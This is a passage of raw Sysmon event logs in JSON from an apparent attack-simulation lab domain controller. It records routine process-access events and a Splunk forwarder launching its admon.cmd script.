11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.424\r\nProcessGuid: {90617006-3FE9-5F2D-0000-001066550300}\r\nProcessId: 3584\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.424","ProcessGuid":"{90617006-3FE9-5F2D-0000-001066550300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\admon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program 